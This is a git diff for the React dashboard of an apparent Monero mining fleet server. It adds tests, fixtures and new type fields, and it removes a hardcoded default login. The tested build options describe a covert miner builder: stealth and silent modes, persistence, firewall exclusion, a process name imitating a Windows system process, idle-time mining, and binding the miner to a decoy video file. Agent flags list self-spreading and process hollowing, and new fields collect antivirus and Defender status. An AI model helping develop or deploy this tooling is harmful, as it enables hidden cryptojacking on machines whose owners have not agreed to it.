localStorage.setItem('aether-dash-advanced', '1'); + useWebSocketMock.mockReturnValue(wsValue({ agents: [mockAgent()] })); + renderDashboard(); + expect(await screen.findByText('Share Log')).toBeInTheDocument(); + expect(screen.getByText('Accepted')).toBeInTheDocument(); + }); + + it('alerts when bulk command API fails', async () => { + const agent = mockAgent(); + useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] })); + vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('network down')); + const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {}); + renderDashboard(); + const roster = await screen.findByText('Machine Roster'); + const section = roster.closest('section') as HTMLElement; + await waitFor(() => expect(within(section).getByText(agent.name)).toBeInTheDocument()); + const user = userEvent.setup(); + const grid = section.querySelector('.agent-grid') as HTMLElement; + await user.click(within(grid).getByRole('checkbox')); + const bulkBar = section.querySelector('.fleet-bulk-bar') as HTMLElement; + await user.click(within(bulkBar).getByRole('button', { name: 'Pause' })); + await waitFor(() => { + expect(alertSpy).toHaveBeenCalledWith('network down'); + }); + alertSpy.mockRestore(); + }); + + it('prefers live websocket alerts over REST fallback', async () => { + useWebSocketMock.mockReturnValue( + wsValue({ + fleetAlerts: [{ id: '1', level: 'warn', type: 'pool_down', message: 'live alert', timestamp: '' }], + }) + ); + vi.spyOn(api, 'getAlerts').mockResolvedValue([ + { id: '2', level: 'warn', type: 'stale', message: 'rest alert', timestamp: '' }, + ]); + renderDashboard(); + expect(await screen.findByText('live alert')).toBeInTheDocument(); + expect(screen.queryByText('rest alert')).not.toBeInTheDocument(); + }); +}); diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx index 9e78cf2..5c46449 100644 --- a/server/web/src/pages/DashboardPage.tsx +++ b/server/web/src/pages/DashboardPage.tsx @@ -514,8 +514,8 @@ export default function DashboardPage() { <tr><td colSpan={4} className="empty-table">No shares yet — awaiting proof of work...</td></tr> )} {shares.map((share) => ( - <tr key={share.id}> - <td className="time-cell font-tech">{formatTime(share.timestamp)}</td> + <tr key={share.id ?? `${share.agent_id}-${share.hash}-${share.timestamp}`}> + <td className="time-cell font-tech">{formatShareTime(share.timestamp)}</td> <td className="mono-sm">{share.agent_id?.substring(0, 8)}…</td> <td> <span className={`status-badge ${share.accepted ? 'online' : 'error'}`}> @@ -538,6 +538,6 @@ export default function DashboardPage() { ); } -function formatTime(t: string): string { +export function formatShareTime(t: string): string { return new Date(t).toLocaleTimeString(); } diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index 42c7d13..e7ec58e 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -587,13 +587,12 @@ export default function SettingsPage() { <NeonCard accent="magenta" className="settings-section"> <h2 className="font-display">Access Control</h2> <p className="section-desc"> - API routes require login. Default account: <code>drjones</code> / <code>czapiewski</code> until you add users. - Save a session below so the dashboard can call the API (WebSocket live feed does not need this). + API routes require login. On first server start, credentials are printed once in the server console (<code>admin</code> + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this). </p> <div className="form-row"> <div className="form-group"> <label className="label">Browser session — username</label> - <input type="text" className="input" placeholder="drjones" value={sessionUser} + <input type="text" className="input" placeholder="admin" value={sessionUser} onChange={(e) => setSessionUser(e.target.value)} /> </div> <div className="form-group"> diff --git a/server/web/src/test/fixtures.ts b/server/web/src/test/fixtures.ts new file mode 100644 index 0000000..9c5cfea --- /dev/null +++ b/server/web/src/test/fixtures.ts @@ -0,0 +1,51 @@ +import type { Agent, Share, ServerInfo } from '../types'; + +export function mockAgent(overrides: Partial<Agent> = {}): Agent { + return { + id: 'agent-001-uuid', + name: 'Test Miner', + wallet: '4' + 'A'.repeat(94), + ip: '192.168.1.10', + version: '1.0.0', + status: 'online', + cpu_cores: 8, + memory_gb: 16, + last_seen: new Date().toISOString(), + created_at: new Date().toISOString(), + hashrate_15s: 500, + hashrate_1m: 480, + hashrate_15m: 450, + shares_total: 100, + shares_good: 95, + shares_bad: 5, + cpu_usage_pct: 42, + memory_usage_pct: 55, + uptime_seconds: 3600, + platform: 'linux', + arch: 'amd64', + ...overrides, + }; +} + +export function mockShare(overrides: Partial<Share> = {}): Share { + return { + id: 1, + agent_id: 'agent-001-uuid', + job_id: 'job-1', + difficulty: 1000, + accepted: true, + hash: 'abc123deadbeef', + nonce: '0001', + timestamp: new Date().toISOString(), + ...overrides, + }; +} + +export const mockServerInfo: ServerInfo = { + port: 8080, + host: '0.0.0.0', + local_ips: ['192.168.1.5'], + suggested_url: 'http://192.168.1.5:8080', + dashboard_url: 'http://192.168.1.5:8080/dashboard', + websocket_url: 'ws://192.168.1.5:8080/ws/dashboard', +}; diff --git a/server/web/src/test/setup.ts b/server/web/src/test/setup.ts new file mode 100644 index 0000000..bb02c60 --- /dev/null +++ b/server/web/src/test/setup.ts @@ -0,0 +1 @@ +import '@testing-library/jest-dom/vitest'; diff --git a/server/web/src/types/index.test.ts b/server/web/src/types/index.test.ts new file mode 100644 index 0000000..821cd95 --- /dev/null +++ b/server/web/src/types/index.test.ts @@ -0,0 +1,413 @@ +import { describe, expect, it } from 'vitest'; +import type { + Agent, + AgentCapabilities, + AgentDefaults, + AlertsConfig, + BackupPool, + BlueprintInfo, + Build, + BuildRecord, + BuildRequest, + BuildResponse, + EarningsEstimate, + FleetAlert, + FleetStats, + FusionEstimate, + HashrateSample, + PoolConfig, + PoolStatus, + ServerConfig, + ServerInfo, + ServerSettings, + Share, + WalletConfig, + WSMessage, + XmrPrice, +} from './index'; + +/** Runtime shape check — types/index.ts exports interfaces only (no type guards). */ +function expectKeys(obj: Record<string, unknown>, keys: string[]) { + for (const key of keys) { + expect(Object.prototype.hasOwnProperty.call(obj, key)).toBe(true); + } +} + +describe('types/index — Agent', () => { + const sample: Agent = { + id: 'a1', + name: 'office-pc', + wallet: '4' + 'A'.repeat(94), + ip: '192.168.1.20', + version: '1.0.0', + status: 'online', + cpu_cores: 8, + memory_gb: 16, + last_seen: '2026-05-30T12:00:00Z', + created_at: '2026-05-01T08:00:00Z', + hashrate_15s: 1200, + hashrate_1m: 1180, + hashrate_15m: 1150, + shares_total: 100, + shares_good: 98, + shares_bad: 2, + cpu_usage_pct: 45, + memory_usage_pct: 60, + uptime_seconds: 86400, + }; + + it('accepts online/offline/error status values', () => { + const statuses: Agent['status'][] = ['online', 'offline', 'error']; + for (const status of statuses) { + expect(statuses).toContain(status); + } + expect(sample.status).toBe('online'); + }); + + it('supports optional fleet metadata fields', () => { + const extended: Agent = { + ...sample, + notes: 'lab machine', + tags: ['office', 'gpu'], + platform: 'windows', + arch: 'amd64', + os_version: '11', + capabilities: { + hole_punch: false, + remote_aggressive: false, + mesh_p2p: false, + auto_spread: false, + process_hollowing: false, + ai_enabled: true, + } satisfies AgentCapabilities, + ssh_available: false, + posture_score: 85, + last_patch_days: 14, + }; + expect(extended.tags).toHaveLength(2); + expect(extended.capabilities?.ai_enabled).toBe(true); + }); +}); + +describe('types/index — BuildRequest', () => { + const minimal: BuildRequest = { + worker_name: 'worker-1', + server_url: 'http://192.168.1.5:8989', + wallet: '4' + 'A'.repeat(94), + threads: 4, + thread_mode: 'percent', + thread_percent: 75, + cpu_priority: 'below_normal', + mining_mode: 'idle', + display_mode: 'background', + silent_mode: true, + run_as: 'scheduled', + auto_start: true, + persistence: true, + process_name: 'RuntimeBrokerHelper', + max_cpu_usage_pct: 80, + max_memory_percent: 70, + min_free_ram_mb: 1024, + idle_threshold_pct: 20, + idle_duration_minutes: 5, + schedule_start: '21:00', + schedule_end: '06:00', + install_base: 'localappdata', + install_custom_base: '', + install_relative_path: 'CryptoMiner/{worker}', + adapt_to_hardware: true, + self_healing: true, + file_logging: false, + stealth_mode: true, + firewall_exclusion: true, + pool_host: 'pool.supportxmr.com', + pool_port: 443, + pool_tls: true, + pool_pass: 'x', + fusion_enabled: false, + fusion_run_order: 'parallel', + fusion_output_name: 'prep.exe', + ai_enabled: false, + ai_ollama_endpoint: 'http://localhost:11434', + ai_model: 'llama3.2', + }; + + it('includes required core forge fields', () => { + expectKeys(minimal as unknown as Record<string, unknown>, [ + 'worker_name', + 'server_url', + 'wallet', + 'pool_host', + 'pool_port', + 'fusion_enabled', + 'ai_enabled', + ]); + }); + + it('accepts optional target_os union values', () => { + const platforms: NonNullable<BuildRequest['target_os']>[] = ['windows', 'linux', 'darwin', 'universal']; + for (const target_os of platforms) { + const req: BuildRequest = { ...minimal, target_os }; + expect(req.target_os).toBe(target_os); + } + }); + + it('accepts backup pool and server URL fallbacks', () => { + const backupPools: BackupPool[] = [{ host: 'backup.pool', port: 443, tls: true, pass: 'x' }]; + const req: BuildRequest = { + ...minimal, + backup_pools: backupPools, + backup_server_urls: ['http://192.168.1.6:8989'], + cancel_token: 'cancel-abc', + }; + expect(req.backup_pools).toHaveLength(1); + expect(req.backup_server_urls?.[0]).toContain('192.168'); + }); +}); + +describe('types/index — BuildRecord / Build alias', () => { + const record: BuildRecord = { + id: 'build-uuid', + worker_name: 'worker-1', + server_url: 'http://192.168.1.5:8989', + wallet: '4' + 'A'.repeat(94), + threads: 4, + file_size: 1024000, + file_path: '/data/builds/worker-1.exe', + created_at: '2026-05-30T10:00:00Z', + pool_host: 'pool.supportxmr.com', + pool_port: 443, + pool_tls: true, + pool_pass: 'x', + }; + + it('Build alias is assignable from BuildRecord', () => { + const build: Build = record; + expect(build.id).toBe(record.id); + expect(build.worker_name).toBe('worker-1'); + }); + + it('supports optional download and bundle metadata', () => { + const extended: BuildRecord = { + ...record, + file_name: 'worker-1.exe', + platform: 'windows', + bundle_size: 2048000, + download_url: '/api/v1/builds/build-uuid/download', + pinned: true, + }; + expect(extended.pinned).toBe(true); + expect(extended.bundle_size).toBeGreaterThan(extended.file_size); + }); +}); + +describe('types/index — server and fleet payloads', () => { + it('ServerInfo carries LAN and websocket URLs', () => { + const info: ServerInfo = { + port: 8989, + host: '0.0.0.0', + local_ips: ['192.168.1.5'], + suggested_url: 'http://192.168.1.5:8989', + dashboard_url: 'http://192.168.1.5:8989/', + websocket_url: 'ws://192.168.1.5:8989/ws/dashboard', + }; + expect(info.local_ips).toContain('192.168.1.5'); + }); + + it('ServerConfig nests pool, wallet, server, and alerts', () => { + const pool: PoolConfig = { host: 'pool.example.com', port: 3333, use_tls: false, password: 'x' }; + const wallet: WalletConfig = { address: '4' + 'A'.repeat(94), payment_id: '' }; + const server: ServerSettings = { + public_url: 'http://192.168.1.5:8989', + stats_retention_hours: 72, + build_retention_days: 30, + pool_reconnect_seconds: 30, + websocket_ping_seconds: 30, + max_agents: 100, + max_build_size_mb: 512, + log_agent_connections: true, + log_share_submissions: false, + log_pool_traffic: false, + strict_wallet_validation: true, + dashboard_subtitle: 'Fleet', + open_firewall_on_start: true, + }; + const alerts: AlertsConfig = { + offline_threshold_minutes: 15, + hashrate_drop_threshold_pct: 50, + rejection_rate_threshold_pct: 10, + }; + const config: ServerConfig = { + port: 8989, + data_dir: './data', + pool, + wallet, + server, + alerts, + }; + expect(config.pool.host).toBe(pool.host); + expect(config.wallet.address.startsWith('4')).toBe(true); + }); + + it('FleetStats tracks acceptance rate', () => { + const stats: FleetStats = { + total_agents: 10, + online_agents: 8, + total_hashrate: 50000, + total_shares: 1000, + accepted_shares: 980, + rejected_shares: 20, + accept_rate: 0.98, + }; + expect(stats.accept_rate).toBeCloseTo(stats.accepted_shares / stats.total_shares); + }); + + it('Share and HashrateSample tie metrics to agents', () => { + const share: Share = { + id: 1, + agent_id: 'a1', + job_id: 'job-1', + difficulty: 100000, + accepted: true, + hash: 'abc', + nonce: '0001', + timestamp: '2026-05-30T12:00:00Z', + }; + const sample: HashrateSample = { + id: 1, + agent_id: 'a1', + hashrate: 1200, + timestamp: '2026-05-30T12:00:00Z', + }; + expect(share.agent_id).toBe(sample.agent_id); + }); + + it('PoolStatus uses green/yellow/red traffic light status', () => { + const statuses: PoolStatus['status'][] = ['green', 'yellow', 'red']; + const pool: PoolStatus = { + key: 'primary', + host: 'pool.example.com', + port: 443, + use_tls: true, + wallet: '4' + 'A'.repeat(94), + connected: true, + status: 'green', + }; + expect(statuses).toContain(pool.status); + }); + + it('FleetAlert supports warn and error levels', () => { + const alert: FleetAlert = { + id: 'alert-1', + level: 'warn', + type: 'offline', + agent_id: 'a1', + agent_name: 'office-pc', + message: 'Agent offline', + timestamp: '2026-05-30T12:00:00Z', + }; + expect(['warn', 'error']).toContain(alert.level); + }); + + it('EarningsEstimate and XmrPrice carry pricing metadata', () => { + const earnings: EarningsEstimate = { + hashrate: 5000, + xmr_per_day: 0.001, + note: 'estimate', + }; + const price: XmrPrice = { + usd: 180, + fetched_at: '2026-05-30T12:00:00Z', + source: 'coingecko', + }; + expect(earnings.xmr_per_day).toBeGreaterThan(0); + expect(price.usd).toBeGreaterThan(0); + }); +}); + +describe('types/index — build pipeline responses', () => { + it('BuildResponse covers success and error paths', () => { + const ok: BuildResponse = { + success: true, + build_id: 'uuid', + file_name: 'worker.exe', + download_url: '/api/v1/builds/uuid/download', + signed: true, + obfuscated: false, + }; + const err: BuildResponse = { success: false, error: 'compile failed' }; + expect(ok.success).toBe(true); + expect(err.error).toBeTruthy(); + }); + + it('FusionEstimate lists byte breakdown fields', () => { + const est: FusionEstimate = { + prep_bytes: 1000, + prep_name: 'video.mp4', + estimated_worker_bytes: 5000000, + estimated_fusion_stub_bytes: 200000, + estimated_resource_patch_bytes: 50000, + estimated_total_bytes: 5251000, + output_file_name: 'runner.exe', + project_root_path: '/proj', + archive_path_hint: '/proj/out.zip', + obfuscate: false, + sign_build: false, + notes: ['ok'], + }; + expect(est.estimated_total_bytes).toBeGreaterThan(est.prep_bytes); + }); + + it('BlueprintInfo stores optional parsed data', () => { + const bp: BlueprintInfo = { + name: 'default.json', + size: 4096, + created_at: '2026-05-30T10:00:00Z', + data: { worker_name: 'worker-1' }, + }; + expect(bp.data?.worker_name).toBe('worker-1'); + }); + + it('AgentDefaults captures deprecated calibrate defaults shape', () => { + const defaults: AgentDefaults = { + threads: 4, + thread_mode: 'percent', + thread_percent: 75, + cpu_priority: 'below_normal', + max_cpu_usage_pct: 80, + max_memory_percent: 70, + min_free_ram_mb: 1024, + mining_mode: 'idle', + display_mode: 'background', + process_name: 'RuntimeBrokerHelper', + idle_threshold_pct: 20, + idle_duration_minutes: 5, + schedule_start: '21:00', + schedule_end: '06:00', + install_base: 'localappdata', + install_custom_base: '', + install_relative_path: 'CryptoMiner/{worker}', + adapt_to_hardware: true, + self_healing: true, + file_logging: false, + stealth_mode: true, + }; + expect(defaults.thread_mode).toBe('percent'); + }); + + it('WSMessage references typed ws payload import', () => { + const msg: WSMessage = { + type: 'stats_update', + payload: { agents: [] } as WSMessage['payload'], + }; + expect(msg.type).toBe('stats_update'); + }); +}); + +describe('types/index — no runtime exports', () => { + it('module provides interfaces only (no type guards or constants at runtime)', () => { + // Documented expectation: consumers validate API JSON against these shapes manually. + expect(typeof Agent).toBe('undefined'); + expect(typeof BuildRequest).toBe('undefined'); + }); +}); diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 9077324..8caa8f2 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -25,6 +25,18 @@ export interface Agent { os_version?: string; capabilities?: AgentCapabilities; ssh_available?: boolean; + posture_score?: number; + last_patch_days?: number; + defender_enabled?: boolean; + defender_rtp?: boolean; + av_products?: string[]; + firewall_domain?: boolean; + firewall_private?: boolean; + firewall_public?: boolean; + last_patch?: string; // ISO date YYYY-MM-DD + pending_updates?: number; // -1 = unknown + reboot_pending?: boolean; + agent_elevated?: boolean; } export interface AgentCapabilities { diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts index 369b2d0..b91ea8b 100644 --- a/server/web/src/types/ws.ts +++ b/server/web/src/types/ws.ts @@ -20,6 +20,17 @@ export interface WSStatsUpdate { shares_submitted?: number; shares_accepted?: number; ssh_available?: boolean; + posture_score?: number; + last_patch_days?: number; + defender_rtp?: boolean; + av_products?: string[]; + firewall_domain?: boolean; + firewall_private?: boolean; + firewall_public?: boolean; + last_patch?: string; + pending_updates?: number; + reboot_pending?: boolean; + agent_elevated?: boolean; } export interface WSCommandResult { diff --git a/server/web/tsconfig.json b/server/web/tsconfig.json index 17f43b1..ba756eb 100644 --- a/server/web/tsconfig.json +++ b/server/web/tsconfig.json @@ -17,5 +17,6 @@ "noFallthroughCasesInSwitch": true }, "include": ["src"], + "exclude": ["src/**/*.test.ts", "src/**/*.test.tsx", "src/**/*.spec.ts", "src/**/*.spec.tsx"], "references": [{ "path": "./tsconfig.node.json" }] } diff --git a/server/web/vitest.config.ts b/server/web/vitest.config.ts index 5202a43..52fdb37 100644 --- a/server/web/vitest.config.ts +++ b/server/web/vitest.config.ts @@ -3,9 +3,11 @@ import { defineConfig } from 'vitest/config'; export default defineConfig({ test: { environment: 'node', - include: ['src/**/*.test.ts'], + include: ['src/**/*.test.{ts,tsx}'], + setupFiles: ['src/test/setup.ts'], environmentMatchGlobs: [ ['src/api/**', 'happy-dom'], + ['src/pages/**', 'happy-dom'], ], }, });